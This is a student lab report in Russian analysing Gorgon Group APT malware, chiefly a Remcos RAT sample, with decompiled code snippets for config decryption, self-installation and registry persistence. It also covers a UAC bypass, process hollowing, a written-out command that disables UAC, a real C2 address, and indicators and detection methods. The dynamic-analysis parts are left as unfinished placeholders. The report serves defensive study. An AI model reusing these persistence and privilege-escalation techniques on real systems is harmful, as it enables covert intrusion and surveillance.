Министерство образования и науки Российской Федерации
Санкт-Петербургский Политехнический Университет Петра Великого
—
Институт компьютерных наук и кибербезопасности

ЛАБОРАТОРНАЯ РАБОТА № 3

«ИЗУЧЕНИЕ ЭКЗЕМПЛЯРОВ ВРЕДОНОСНОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ, ИСПОЛЬЗУЕМОГО В ЦЕЛЕНАПРАВЛЕННЫХ АТАКАХ»

по дисциплине «БСИТ»

Выполнил Волошкевич М.А.
студент гр.5151001/40202 <подпись>

Преподаватель / Дахнович А.Д.
ассистент <подпись>

Санкт-Петербург
2026г.

1. Цель работы.

Изучение сценариев известных целенаправленных атак (APT, Advanced Persistent Threats), рассмотрение способов их обнаружения и предотвращения. Изучение вредоносного программного обеспечения (ВПО), используемого в целенаправленных атаках.

2. Задание и среда исследования

2.1. Вариант и объекты исследования

Согласно варианту 2 исследуется группа **Gorgon Group**. Образцы ВПО взяты из каталога `samples/Gorgon Group` репозитория APTMalware [5]. По заданию необходимо изучить не менее трёх исполняемых файлов. Для каждого файла выполняются: предварительный анализ в онлайн-песочницах, статический анализ в дизассемблере IDA Pro, динамический анализ в виртуальной машине, сопоставление с техниками MITRE ATT&CK [2]. Результаты сводятся в таблицу 2 методических указаний.

Таблица 1 — Исследуемые файлы

№	SHA-256	Размер	Семейство
1	`ff94bcc46773d29a8d3e2fd8d9d38ae2 3301bb652f6c4931914c075200b75baa`	102 КБ	Remcos RAT
2	`fff9abf1ccd7d7821f467af318f3782a 7a9fc69dbd15794d52aa2aaa40eac720`	39 КБ	VBS-загрузчик (дроппер)
3	`fff353843eb081d94aac5c048c7cbc41 e62ecd476a2cbee970066199f81afdaa`	33 КБ	njRAT (Bladabindi)

2.2. Среда исследования

Исследование проводилось в соответствии с требованиями методических указаний: все взаимодействия с образцами выполнялись в изолированной виртуальной машине с отключёнными средствами интеграции с хостовой системой, без разделяемых папок и USB-устройств, перед началом работы создавался снимок чистого состояния.

- Статический анализ: IDA Pro с декомпилятором Hex-Rays; Python 3 с библиотекой `pefile` для извлечения ресурсов PE-файла; ILSpy [6] для сборки .NET (третий файл).
- Предварительный анализ: VirusTotal [3] [ДОПИСАТЬ: вторая песочница: Any.run или Hybrid Analysis, если использовалась].
- Динамический анализ: [ДОПИСАТЬ: ОС и параметры виртуальной машины; использованные утилиты: Regshot, Process Monitor, Process Hacker, FakeNet-NG или Wireshark, WinAPIOverride].

3. Описание целенаправленной атаки

Раздел составлен по публикации Palo Alto Networks Unit 42 «The Gorgon Group: Slithering Between Nation State and Cybercrime» (2018) [1], а также по результатам анализа образцов (раздел 4).

3.1. Общие сведения о группе

Gorgon Group это объединение злоумышленников, которое одновременно проводит целевые атаки на государственные организации и массовые киберпреступные кампании. Unit 42 связывает группу с актором Subaat, который отслеживался с 2017 года, и выделяет в её составе пять участников. Все они в своих онлайн-образах указывают Пакистан; исследователи отмечают, что фактическое местонахождение участников неизвестно, но делают вывод о наличии у ряда из них пакистанского следа. Один из участников под псевдонимом fudpages содержит подпольную торговую площадку (пуленепробиваемый хостинг, RDP-сессии, поддельные документы, инструменты для рассылки спама). Целевая активность была зафиксирована с начала марта 2018 года, кампании группы наблюдались с февраля 2018 года.

3.2. Цели атак

Целевые атаки были направлены на государственные организации Великобритании, Испании, России и США, затем круг расширился до правительственных структур, работающих в Пакистане. Криминальные кампании не имели узкой направленности и затрагивали организации различных отраслей по всему миру, в частности, в США и Швейцарии. По данным Unit 42, целевые и криминальные операции использовали общие домены и общую C2-инфраструктуру.

3.3. Типовые сценарии атаки

Начальный доступ достигается рассылкой писем с вредоносными документами Microsoft Word:

- целевые фишинговые письма (spear phishing), часто с адресов Gmail от имени реальных людей, например, офицера пакистанской армии;

темы связаны с военной, политической и террористической тематикой;

- массовая рассылка (malspam) под видом SWIFT-уведомлений и заказов на покупку (имена файлов вида «SWIFT COPY.doc», «DHL_RECEIPT.doc»).

Цепочка заражения: документ эксплуатирует уязвимость или запускает макрос, макрос загружает загрузчик на VB.NET, который с помощью сценария VBS и PowerShell скачивает конечную нагрузку и документ-приманку. Для доставки используются сервисы сокращения ссылок (Bitly и другие). В качестве конечной нагрузки применяются трояны удалённого доступа.

3.4. Используемые уязвимости

Основная эксплуатируемая уязвимость это **CVE-2017-0199**: ошибка обработки OLE-объектов (OLE2Link) в Microsoft Office, которая позволяет выполнить код при открытии специально сформированного документа. Помимо этого, в кампаниях используются документы с макросами, для запуска которых требуется согласие пользователя.

3.5. Используемые сторонние средства

- Трояны удалённого доступа: NanoCore, QuasarRAT, njRAT (целевые кампании), RevengeRAT, LokiBot, **Remcos** (в том числе в качестве конечной нагрузки).
- VB2Exe и открытые приложения (например, «Sales System Application», «Saransh Email System»), которые используются как обёртка вокруг вредоносного кода.
- Сервисы сокращения ссылок Bitly и t2m.io, скомпрометированные сайты и открытые каталоги для хранения нагрузки.
- Услуги подпольного рынка участника fudpages: хостинг, RDP, инструменты рассылки.

3.6. Техники обхода защиты и закрепления

- Макросы изменяют реестр, чтобы включить макросы и отключить режим защищённого просмотра (Protected View) в разных версиях Office.

- Завершение процессов Office и компонентов Windows Defender, удаление его сигнатур через `MpCmdRun`.
- Обфускация: случайные имена методов, обёртка легитимного открытого кода вокруг вредоносного (ветвление `if/else` пропускает легитимные части), нагрузка в ресурсах, расшифровываемая многобайтовым ключом XOR, документ-приманка для снижения подозрений.
- Внедрение в процессы `cvtres.exe` или `MSBuild.exe` методом process hollowing (`NtUnmapViewOfSection`, `WriteProcessMemory`, `SetThreadContext`).
- Закрепление: настраиваемая установка в папку `DsvHelper`, создание ярлыка и запись в `HKCU` RunOnce; в образце, разобранном Unit 42, эта опция не была включена.

3.7. Другая важная информация

Unit 42 характеризует подход группы как «несложный, но эффективный». Для криминальных кампаний зафиксировано порядка 132 840 переходов по ссылкам Bitly с середины февраля 2018 года; для целевых кампаний наибольшее число переходов приходилось на Пакистан (39 %) и США (19 %). Ключевое наблюдение для данной работы: финальный образец NanoCore в публикации [1] обращался к серверу **115.186.136.237** по порту 6666. Этот же адрес оказался прописан в конфигурации исследуемого образца Remcos (порт 9999), что подтверждает его принадлежность к инфраструктуре группы.

4. Исследование компонента 1: Remcos RAT

4.1. Общие сведения

Таблица 2 — Общие сведения о файле

Параметр	**Значение**
Имя файла	`ff94bcc46773d29a8d3e2fd8d9d38ae2 3301bb652f6c4931914c075200b75baa`
MD5	`0bc12877b5995878663154e504158b3c`
SHA-1	`a6cd28d372cf69875e69edd15d1c30c4f826071b`
SHA-256	`ff94bcc46773d29a8d3e2fd8d9d38ae2 3301bb652f6c4931914c075200b75baa`
Тип и размер	PE32 (Intel 386), исполняемый файл, 102 КБ
Время компиляции	2017-01-05 19:50:18 UTC
Точка входа	RVA `0xFD88` (адрес `0x40FD88`)
Компилятор	Microsoft Visual C++ 6.0 (импорт `MSVCP60.dll`)
Упаковка	не обнаружена: энтропия `.text` 6,06, импорты читаются, код дизассемблируется
Семейство	Remcos RAT (коммерческая программа удалённого управления, широко применяемая злоумышленниками)

4.2. Предварительный анализ в песочнице

На VirusTotal файл обнаруживается 69 антивирусными движками из 72, в том числе Dr.Web, Kaspersky, Microsoft, Tencent и Alibaba [ДОПИСАТЬ: 2–3 конкретных имени детекта, например Kaspersky: …].



Рис. 1 — Результат проверки файла на VirusTotal

Структура PE-файла по данным VirusTotal приведена в таблице 3. Пять стандартных секций, нет признаков упаковщика. Секция `.rsrc` небольшая, но с повышенной энтропией (6,64): в ней находится зашифрованная конфигурация.

Таблица 3 — Секции PE-файла

Секция	Вирт. адрес	Вирт. размер	Размер в файле	Энтропия
`.text`	4096	61402	61440	6,06
`.rdata`	65536	19090	20480	5,37
`.data`	86016	3108	4096	0,58
`.rsrc`	90112	3948	4096	6,64
`.reloc`	94208	7792	8192	6,44

Импортируются библиотеки `KERNEL32`, `USER32`, `GDI32`, `ADVAPI32`, `SHELL32`, `MSVCP60`, `MSVCRT`, `WINMM`, `SHLWAPI`, `WS2_32`, `urlmon`, `gdiplus` и `WININET`. Набор говорит о работе с реестром (`ADVAPI32`), сетью (`WS2_32`, `WININET`, `urlmon`), графикой и скриншотами (`GDI32`, `gdiplus`), звуком (`WINMM`).

Поведенческий отчёт песочницы показывает следующее:

- создаются файл `%TEMP%\install.bat`, папка и файл `%APPDATA%\EXCEL\EXCEL.exe`, папка `%APPDATA%\remcos` с файлом `logs.dat`;
- создаются ключ `HKCU\Software\remcos_bjynqcwqnb` и значение `EXEpath`;
- запускаются `cmd.exe`, `install.bat`, `PING.EXE 127.0.0.1 -n 2` и затем `EXCEL.exe`;
- выполняется DNS-запрос и TCP-соединение с `115.186.136.237:9999`.



Рис. 2 — Дерево процессов и сетевая активность по данным песочницы

Уже на этом этапе видны характерные признаки Remcos: ключ `remcos_*` в реестре, журнал `logs.dat` кейлоггера, самокопирование под именем легитимного приложения (маскировка под Excel) и запуск копии через пакетный файл с задержкой `ping`. Далее предположение проверяется статическим анализом.

4.3. Статический анализ

4.3.1. Ресурсы и конфигурация

Из PE-файла извлечены три ресурса (скриптом на `pefile`): значок (`RT_ICON`, 3240 байт), группа значков (`RT_GROUP_ICON`, 20 байт) и ресурс `SETTINGS` типа `RT_RCDATA` размером 436 байт. IDA по умолчанию не загружает секцию ресурсов, поэтому в списке сегментов отображаются только `.text`, `.idata`, `.rdata`, `.data`, однако обращение к ресурсу видно в коде функции `LoadSettingsResource` (`sub_408150`): `FindResourceA(NULL, "SETTINGS", RT_RCDATA)`.

Конфигурация хранится в зашифрованном виде. Функция `LoadConfig` (`sub_407C53`) использует схему: первый байт ресурса это длина ключа, следующие байты это ключ RC4, остальное это зашифрованные данные.

```
// sub_407C53: чтение и расшифровка конфигурации (восстановлено по Hex-Rays)
std::string LoadConfig(void)
{
    BYTE *res;
    DWORD size   = LoadSettingsResource(&res); // ресурс SETTINGS
    DWORD keylen = res[0];                     // 0xCD = 205 байт
```

```
    BYTE *key    = res + 1;                    // RC4-ключ
    g_rc4_key    = std::string(key, keylen);   // unk_415950
    rc4_init(key, keylen);                     // sub_4028EB (KSA)
    return rc4_crypt(res + 1 + keylen,         // sub_402A2A (PRGA)
                     size - 1 - keylen);       // 230 байт данных
}
```

Тот же ключ далее используется для шифрования значений в реестре (в частности, `EXEpath`) и файлов скриншотов. Расшифрованная конфигурация представляет собой строку: первое поле это список C2-серверов в формате `адрес:порт:пароль|`, остальные поля разделены последовательностью `@@` и считываются функцией `GetConfig(n)` (`sub_401289`) по индексу. Полный результат расшифровки приведён в приложении Б, значения полей и их смысл (определены по коду функций `WinMain`, `InstallSelf`, `SetPersistence`, `C2Loop` и других) в таблице 4.

Таблица 4 — Расшифрованная конфигурация Remcos (по индексам `GetConfig`)

№	Значение	Назначение
0	`115.186.136.237:9999:pass`	C2-сервер: адрес, порт и пароль, который служит ключом RC4 для шифрования канала
1	`Host`	метка клиента
2	`5`	пауза в секундах между кругами переподключения к C2
3	`1`	установка в систему включена
4–8	`0`	все пять вариантов автозагрузки выключены (HKCU Run, HKLM Run, Winlogon Shell, Winlogon Userinit, Policies\Explorer\Run)
9, 16, 25, 37	`6`	код базовой папки `%APPDATA%`
10	`EXCEL.exe`	имя установленной копии
11	`excel`	имя значения автозагрузки (не используется)
12	`0`	не скрывать файл и папку
13	`0`	внедрение в процесс (process hollowing) выключено
14	`remcos_bjynqcwqnb`	имя мьютекса и ключа `HKCU\Software\...`

№	Значение	Назначение
15	`1`	режим кейлоггера
17, 49	`logs.dat`, `remcos`	журнал кейлоггера `%APPDATA%\remcos\logs.dat`
26, 38	`Screens`, `audio`	папки скриншотов и записей звука
27	`0`	не шифровать скриншоты
28, 29, 31, 32	`0`	проверки Sandboxie, VMware, VirtualBox и отладчика выключены
30	`0`	не удалять исходный файл после установки
35	`0`	поток записи звука выключен
39	`0`	отключение UAC (`EnableLUA = 0`) выключено
40, 41	`0`, `0`	консольный режим отладки и задержка запуска отключены
46	`0`	обход UAC через `eventvwr.exe` выключен
47	`1`	реакция на обнаружение средств анализа (выход или самоудаление)
48	`EXCEL`	имя папки установки `%APPDATA%\EXCEL`

Из таблицы следует, что в данной сборке включены: установка в систему, кейлоггер и связь с C2. Автозагрузка, внедрение в процесс, обход и отключение UAC, проверки среды анализа реализованы в коде, но выключены настройками. Это согласуется с поведением в песочнице, где ключи автозагрузки не создавались.

4.3.2. Основной алгоритм (`WinMain`)

Функция `WinMain` (по порядку действий):

1. загружает и расшифровывает конфигурацию (`LoadConfig`) и формирует ключ реестра `Software\<имя из поля 14>`;
2. открывает мьютекс `Remcos_Mutex_Inj` (ожидание до 60 с) и читает значение `Inj` ключа реестра: признак того, что процесс запущен после внедрения;
3. создаёт мьютекс с именем из поля 14; если он уже существует (`GetLastError() == 183`), завершает работу, обеспечивая единственность экземпляра;

4. выполняет проверки среды анализа `AntiAnalysis` (`sub_401000`) по флагам конфигурации;
5. читает из реестра `ProductName` операционной системы и разрядность;
6. при включённых флагах выполняет обход или отключение UAC;
7. при включённом флаге внедряется в целевой процесс (`InjectIntoProcess`);
8. устанавливает себя (`InstallSelf`), записывает путь копии в значение `EXEpath` и готовит журнал кейлоггера;
9. запускает рабочие потоки и вызывает `C2Loop`, который не возвращает управление.

4.3.3. Установка и самокопирование (`InstallSelf`)

Функция `InstallSelf` (`sub_40650D`) копирует исполняемый файл в `%APPDATA%\EXCEL\EXCEL.exe` (путь формируется из полей 9, 48 и 10 конфигурации) и запускает копию через временный пакетный файл. Если копирование в заданную папку не удалось, предпринимается вторая попытка в запасную папку. Скрытие файла (атрибуты `READONLY | HIDDEN | SYSTEM`) и удаление исходного файла выполняются только при включении соответствующих флагов.

```
// sub_40650D (InstallSelf), существенная часть
CopyFileA(g_self_path, g_target, FALSE);   // g_target = %APPDATA%
\EXCEL\EXCEL.exe
SetPersistence(...);                       // см. ниже, по флагам
конфигурации
if (hide)                                  // поле 12
    SetFileAttributesA(g_target, 7);       // READONLY|HIDDEN|SYSTEM

bat = getenv("Temp") + "\\install.bat";
f = ofstream(bat);
f << "PING 127.0.0.1 -n 2 \n";             // пауза около секунды
if (delete_original)                       // поле 30
    f << "del " << g_self_path << "\n";
f << "start \"\" \"" << g_target << "\"\n"; // запуск копии
f << "del %0 \n";                          // самоудаление bat-файла
f << "exit \n";
f.close();
if (ShellExecuteA(NULL, "open", bat, "", "", SW_HIDE) > 32)
    exit(0);                               // исходный процесс завершается
```



Рис. 3 — Фрагмент функции InstallSelf: формирование install.bat

Описанная последовательность полностью совпадает с поведением, зафиксированным в песочнице: создаётся `install.bat`, выполняется `PING 127.0.0.1 -n 2`, затем запускается `EXCEL.exe`. Имя `EXCEL.exe` и расположение в профиле пользователя нужны для маскировки под Microsoft Excel (T1036.005).

4.3.4. Закрепление в системе (`SetPersistence`)

Функция `SetPersistence` (`sub_406339`) умеет записывать путь копии в пять мест реестра, каждое включается отдельным флагом конфигурации (поля 4–8):

```
// sub_406339 (SetPersistence), сокращённо
if (hkcu_run)   RegSet(HKCU, "Software\\Microsoft\\Windows\\CurrentVersion\
\Run\\",
                       value_name, "\"" + g_target + "\"");
if (hklm_run)   RegSet(HKLM, "Software\\Microsoft\\Windows\\CurrentVersion\
\Run\\", ...);
if (winlogon_shell)
    RegSet(HKLM, "...\\Windows NT\\CurrentVersion\\Winlogon\\", "Shell",
           "explorer.exe, \"" + g_target + "\"");
if (winlogon_userinit)
    RegSet(HKLM, "...\\Winlogon\\", "Userinit",
           "C:\\WINDOWS\\system32\\userinit.exe, \"" + g_target + "\"");
if (policies_run)
    RegSet(HKLM, "...\\Policies\\Explorer\\Run\\", value_name, ...);
```

В исследуемом образце все пять флагов равны нулю, поэтому автозагрузка не настраивается. Обратную операцию выполняет функция `Uninstall` (`sub_406988`): удаляет перечисленные значения и ключ `HKCU\Software\<имя>`, создаёт `uninstall.bat` с циклом `:Repeat` для удаления файла, каталога и самого bat-файла, после чего завершает процесс.

4.3.5. Повышение привилегий и внедрение в процесс

- **Обход UAC.** `sub_402A78` сохраняет исходный обработчик `HKCR\mscfile\shell\open\command` в значение `origmsc`, подменяет `HKCU\Software\Classes\mscfile\shell\open\command` путём к себе и запускает `eventvwr.exe`, который автоматически повышается и выполняет подменённую команду. `sub_402B5B` из повышенной копии возвращает исходное значение. Выключено полем 46.
- **Отключение UAC.** `DisableUAC` (`sub_4084B8`) скрытно выполняет `cmd /k reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f`. Выключено полем 39.
- **Process hollowing.** `sub_40D477` создаёт целевой процесс в приостановленном состоянии (`CREATE_SUSPENDED`), читает базу образа из PEB, вызывает `NtUnmapViewOfSection`, выделяет память `VirtualAllocEx`, записывает заголовки и секции через `WriteProcessMemory`, правит контекст потока (`SetThreadContext`) и запускает его (`ResumeThread`). Вызывается из `InjectIntoProcess` (`sub_407E0B`, поле 13 равно `0`, поэтому выключено) и из обработчика команды `pwgrab`.

4.3.6. Противодействие анализу

Функция `AntiAnalysis` (`sub_401000`) состоит из четырёх проверок, каждая включается своим флагом (поля 28, 29, 31, 32):

Таблица 5 — Проверки среды анализа

Функция	Проверка	Обнаруживает
`sub_4010F1`	`GetModuleHandleA("SbieDll.dll")`	Sandboxie
`sub_401102`	инструкция `in` на порт `0x5658`	VMware
`sub_401178`	ключ `HKLM\HARDWARE\ACPI\DSDT\VBOX__`	VirtualBox
`sub_4011A3`	`PEB->NtGlobalFlag == 0x70`	отладчик

При срабатывании вызывается `sub_401234`, которая, в зависимости от поля 47, завершает процесс (`exit(2)`) либо запускает `Uninstall`. В исследуемой конфигурации все проверки выключены.

Место для рисунка

Рис. 4 — Ассемблерный код функции sub_401102 (проверка VMware через порт 0x5658)

4.3.7. Связь с C2-сервером

Функция `C2Loop` (`sub_409E73`) реализует цикл подключения. Список серверов из поля 0 разбивается по символу `|`, каждый элемент по `:` на адрес, порт и пароль. Для каждого сервера выполняются `gethostbyname`, `connect`, затем пароль передаётся в `sub_402906`, которая является реализацией инициализации ключа RC4 (KSA). После подключения клиент отправляет регистрационное сообщение `addnew`, в которое, судя по коду, входят сведения о системе (имя из конфигурации, версия и разрядность ОС, признак повышенных прав, время работы), и запускает обработчик команд `CommandHandler` (`sub_40A71E`). При разрыве связи цикл переходит к следующему серверу, а после прохода по списку ждёт число секунд из поля 2 (здесь 5) и повторяет попытки.

Формат сообщений определяется функцией отправки `sub_402504`. К данным добавляется заголовок из строки `[DataStart]` и 4-байтной длины сообщения; если пароль задан, кадр шифруется RC4, после чего передаётся через `send`:

```
// sub_402504: отправка одного сообщения в C2
frame = "[DataStart]" + uint32_le(len(msg)) + msg;  // 11 + 4 + len(msg) байт
if (g_password.empty())
    send(s, frame.data(), frame.size(), 0);         // открытым текстом
else {
    enc = rc4_crypt(frame);                         // sub_402A2A
```

```
    send(s, enc.data(), frame.size(), 0);
}
```

Поле «команда» в сообщении отделяется от аргументов разделителем (глобальная строка `unk_415268`) [ДОПИСАТЬ: значение разделителя после расшифровки перехваченного пакета, см. раздел динамического анализа].

4.3.8. Команды управления

Обработчик `CommandHandler` (`sub_40A71E`) принимает строку с именем команды и аргументами и выполняет действие. Обнаружено более 50 команд, сгруппированных в таблице 6.

Таблица 6 — Команды, поддерживаемые клиентом

Группа	**Команды**
Служебные	`ping` (ответ `pong`), `keepaliveoff`, `close`, `uninstall`, `updatefromurl`, `updatefromlocal`
Файлы и загрузка	`filemgr` (файловый менеджер), `deletefile`, `downloadfromurltofile` (скачать по URL и запустить), `downloadfromlocaltofile` (принять файл от оператора и запустить)
Процессы и окна	`getproclist`, `prockill`, `getwindows`, `closewindow`, `maxwindow`, `restorewindow`, `closeprocfromwindow`
Выполнение кода	`execcom` (`WinExec`), `consolecmd` (удалённая консоль, результат передаётся в `cmdoutput`), `openaddress`, `msgbox`, `initremscript` (удалённый скрипт)
Слежение	`initklfrm`, `startonlinekl`, `stoponlinekl`, `getofflinelogs`, `autogetofflinelogs`, `deletekeylog` (кейлоггер); `initializescrcap`, `scrcap`, `freescrcap`, `getscrslist`, `dwnldscr` (скриншоты); `initcamcap`, `freecamcap` (камера); `miccapture`, `stopmiccapture` (микрофон, данные уходят в сообщениях `playaudio`)
Данные пользователя	`pwgrab` (сбор паролей), `getclipboard`, `setclipboard`, `emptyclipboard`, `clearlogins`
Управление вводом	`keyinput`, `mclick`
Система	`OSpower` (выход, перезагрузка, выключение, режим сна), `initregedit` (удалённый редактор реестра), `initfun`
Подгрузка модулей	`dlldata`, `dllurl` (загрузка DLL-модуля с C2 или по URL)

Команда `pwgrab` (`sub_4086B1`) запускает через `sub_40D477` до трёх модулей с параметром `/stext "<файл>"`, считывает результаты из временных файлов, удаляет их и отправляет в C2 в сообщениях `pswdata` или `autopswdata`. Параметр `/stext` характерен для консольных утилит восстановления паролей, например, NirSoft (предположение по структуре кода). Сами модули в образце не хранятся, а приходят от сервера в аргументах команды, то есть без дополнительной нагрузки образец не крадёт пароли.

4.4. Динамический анализ

[ДОПИСАТЬ: описать запуск и результаты: использованные утилиты, что именно было замечено]

Таблица 7 — Сопоставление статического и динамического анализа

Что проверяем	**Ожидание по результатам статики**	**Результат в ВМ**
Дерево процессов	исходный процесс запускает скрытый `cmd.exe` (`install.bat`), затем `ping.exe` и `EXCEL.exe`, после чего завершается	[ДОПИСАТЬ]
Файлы	`%TEMP%\install.bat` (затем удаляется), `%APPDATA%\EXCEL\EXCEL.exe`, `%APPDATA%\remcos\logs.dat`; исходный файл остаётся на месте	[ДОПИСАТЬ]
Реестр	ключ `HKCU\Software\remcos_bjynqcwqnb`, значение `EXEpath` (в бинарном виде, зашифровано RC4); записей в `Run` нет	[ДОПИСАТЬ]
Мьютекс	`remcos_bjynqcwqnb`	[ДОПИСАТЬ]
Сеть	DNS не требуется (задан IP); повторные TCP-соединения к `115.186.136.237:9999` с паузой около 5 секунд	[ДОПИСАТЬ]
Первый пакет	кадр `[DataStart]` + длина + `addnew...`, зашифрованный RC4 с ключом `pass`	[ДОПИСАТЬ]



Рис. 5 — Дерево процессов (Process Hacker): исходный процесс, cmd.exe, ping.exe, EXCEL.exe



Рис. 6 — Process Monitor или Regshot: создание файлов и ключа реестра remcos_bjynqcwqnb



Рис. 7 — Wireshark или FakeNet-NG: попытки соединения с 115.186.136.237:9999

4.5. Соответствие классификации MITRE ATT&CK

В таблице 8 приведены результаты по пунктам задания 6.a–6.m. Для каждого пункта указано, что обнаружено и в каком месте кода или результате анализа это подтверждается.

Таблица 8 — Результаты по пунктам 6.a–6.m задания

Пункт	Тема	Результат (техники MITRE ATT&CK)
a	Закрепление	Копирование в `%APPDATA%\EXCEL\EXCEL.exe` и запуск через `install.bat` (T1036.005, T1059.003). Автозагрузка (Run, Winlogon, T1547.001, T1547.004) реализована в `SetPersistence`, но в данной конфигурации выключена. Самоудаление `Uninstall` (T1070.004).
b	Повышение привилегий	Обход UAC через `eventvwr.exe` и подмену `mscfile` (T1548.002), отключение UAC (T1112). Реализовано, выключено.
c	Сбор информации о системе	Чтение `ProductName`, разрядность ОС (T1082); команды `getproclist` (T1057), `getwindows` (T1010), `filemgr` (T1083).
d	Поиск средств защиты	Проверки Sandboxie, VMware, VirtualBox (T1497.001) и отладчика (T1622). Реализовано, выключено.
e	Сетевая активность	Обнаружена только связь с C2 по TCP (T1095, T1571). Сбора сведений о сети и сканирования не обнаружено.
f	Сетевые атаки (MITM)	Не обнаружено.
g	Эксплуатация уязвимостей	Сам образец уязвимости не эксплуатирует. Группа использует CVE-2017-0199 при доставке (T1203, по данным [1]).
h	Связь с C2	Подключение к `115.186.136.237:9999`, шифрование RC4 с паролем из конфигурации (T1573.001), приём команд и загрузка файлов (T1105).
i	Поиск целевой информации	Автоматического поиска по имени или содержимому файлов нет; оператору доступен файловый менеджер `filemgr` (T1083).
j	Доступ к критической информации	Кейлоггер с журналом `logs.dat` (T1056.001), скриншоты (T1113), микрофон (T1123), камера

Пункт	Тема	Результат (техники MITRE ATT&CK)
		(T1125), буфер обмена (T1115), сбор паролей по команде `pwgrab` (T1555.003, модули приходят от C2).
k	Вредоносные действия	Майнинга, шифрования и разрушения данных нет. Есть `OSpower` (завершение работы и перезагрузка, T1529), `deletefile`, `prockill`.
l	Данные других приложений	Через `pwgrab` и буфер обмена; прямого чтения почты и браузеров в самом образце не обнаружено.
m	Изменение конфигурации системы	Отключение UAC (`EnableLUA = 0`) и подмена обработчика `mscfile` (T1112). Реализовано, выключено.

Помимо перечисленного, в коде присутствуют внедрение в процесс методом process hollowing (T1055.012) и защита конфигурации шифрованием RC4 (T1027, T1140).

4.6. Индикаторы компрометации

Таблица 9 — Индикаторы компрометации компонента 1

Тип	Значение
Хеш SHA-256	`ff94bcc46773d29a8d3e2fd8d9d38ae2 3301bb652f6c4931914c075200b75baa`
Хеш MD5 / SHA-1	`0bc12877b5995878663154e504158b3c a6cd28d372cf69875e69edd15d1c30c4f826071b`
C2-сервер	`115.186.136.237:9999` (TCP); тот же адрес указан в [1] для NanoCore (порт 6666)
Файлы	`%APPDATA%\EXCEL\EXCEL.exe`, `%APPDATA%\remcos\logs.dat`, `%TEMP%\install.bat`, `%TEMP%\uninstall.bat`
Реестр	`HKCU\Software\remcos_bjynqcwqnb` (значения `EXEpath`, `Inj`, `origmsc`)
Мьютексы	`remcos_bjynqcwqnb`, `Remcos_Mutex_Inj`
Командная строка	`PING 127.0.0.1 -n 2` в пакетном файле из `%TEMP%`
Строки в файле	`Remcos_Mutex_Inj`, `SETTINGS`, `[DataStart]`, `/stext`, `downloadfromurltofile`, `initregedit`, `getproclist`

4.7. Способы выявления

- **Хост.** Процесс `EXCEL.exe`, запущенный из `%APPDATA%\EXCEL`, а не из каталога Microsoft Office; пакетный файл в `%TEMP%` с командой `PING 127.0.0.1 -n 2`, запускающий исполняемый файл из профиля пользователя; ключи реестра `HKCU\Software\remcos_*`; наличие `logs.dat` в `%APPDATA%\remcos`. В Sysmon это события создания процесса (ID 1), создания файла (ID 11), изменения реестра (ID 12, 13) и сетевого соединения (ID 3).
- **Файл.** Правило YARA по набору строк (`Remcos_Mutex_Inj`, `[DataStart]`, `/stext`, имена команд) и наличию ресурса `SETTINGS` типа RCDATA.
- **Сеть.** Исходящие TCP-соединения к `115.186.136.237`, периодические повторные попытки подключения с интервалом около пяти секунд. Канал защищён слабым паролем RC4 (`pass`), что позволяет расшифровывать перехваченный трафик. [ДОПИСАТЬ: проверить по перехваченному пакету, одинаковы ли первые 11 байт кадра в разных сообщениях (при неизменном ключе RC4 они должны совпадать с зашифрованным `[DataStart]`)]
- **Профилактика.** Блокировка макросов из недоверенных источников, актуальные обновления Office (CVE-2017-0199), запрет запуска исполняемых файлов из `%APPDATA%` и `%TEMP%` (AppLocker), фильтрация исходящего трафика на нестандартные порты.

5. Исследование компонента 2: VBS-загрузчик (дроппер)

5.1. Общие сведения

Таблица 10 — Общие сведения о файле

Параметр	**Значение**
Имя файла	`fff9abf1ccd7d7821f467af318f3782a 7a9fc69dbd15794d52aa2aaa40eac720`
MD5	`960573a2212d5c786998791e68679f6d`
SHA-1	`3cc37bbacefbf56e23909d39927118c618933001`
SHA-256	`fff9abf1ccd7d7821f467af318f3782a 7a9fc69dbd15794d52aa2aaa40eac720`
Тип и размер	PE32 (Intel 386), исполняемый файл, 39 КБ
Время компиляции	2015-06-16 12:17:49 UTC (вероятно, дата сборки заготовки упаковщика, а не самого образца)
Точка входа	RVA `0x1000` (секция `.code`)
Упаковка	не обнаружена: энтропия секций 4,65–6,86, импорты читаются, код дизассемблируется
Семейство	загрузчик (dropper): исполняемый файл с вшитым скриптом VBScript. По переменным окружения `v2e...`, параметру `-v2epass` и набору ресурсов похоже на упаковщик типа «VBS в EXE» (предположение)

5.2. Предварительный анализ в песочнице

На VirusTotal файл обнаруживается 63 антивирусными движками из 72. Примеры детектов: Dr.Web: `Trojan.DownLoader26.47126`, Kaspersky: `UDS:DangerousObject.Multi.Generic`, Microsoft: `Trojan:Win32/Occamy.CFF`, Avast: `Other:Malware-gen [Trj]`, Alibaba: `Trojan:Script/Obfuscator.ca8ab6d8`. Название детекта Dr.Web указывает на загрузчик, а Alibaba на обфусцированный скрипт.

Место для рисунка

Рис. 8 — Результат проверки файла на VirusTotal

Структура PE-файла по данным VirusTotal приведена в таблице 11. Секции `.code` и `.text` присутствуют одновременно, что нетипично для обычной сборки. Секция `.rsrc` небольшая (3,5 КБ), но именно в ней находится вся полезная нагрузка упаковщика: скрипт лежит в открытом виде, поэтому энтропия умеренная (5,34), шифрования ресурсов нет.

Таблица 11 — Секции PE-файла

Секция	Вирт. адрес	Вирт. размер	Размер в файле	Энтропия
`.code`	4096	6466	6656	5,42
`.text`	12288	21265	21504	6,55
`.rdata`	36864	1282	1536	6,86
`.data`	40960	4960	4608	4,65
`.rsrc`	49152	3292	3584	5,34

Импортируются библиотеки `MSVCRT`, `KERNEL32`, `COMCTL32`, `USER32`, `GDI32`, `OLE32`, `SHELL32` и `SHLWAPI`. Сетевых библиотек (`WS2_32`, `WININET`) нет: сам файл по сети не работает. `USER32`, `GDI32` и `COMCTL32` нужны для окна ввода пароля, `SHELL32` для запуска процесса (`ShellExecuteExA`), `SHLWAPI` для работы с путями (`PathQuoteSpacesA`).

Поведенческий отчёт песочницы показывает следующее:

- создаётся скрипт `go.vbs` во временной папке вида `%TEMP%\<hex>.tmp\` (в разных запусках `2.tmp`, `3.tmp`, `264B.tmp`, `C947.tmp`); после работы скрипт и папка удаляются;
- запускается `wscript.exe` со скриптом `go.vbs`;

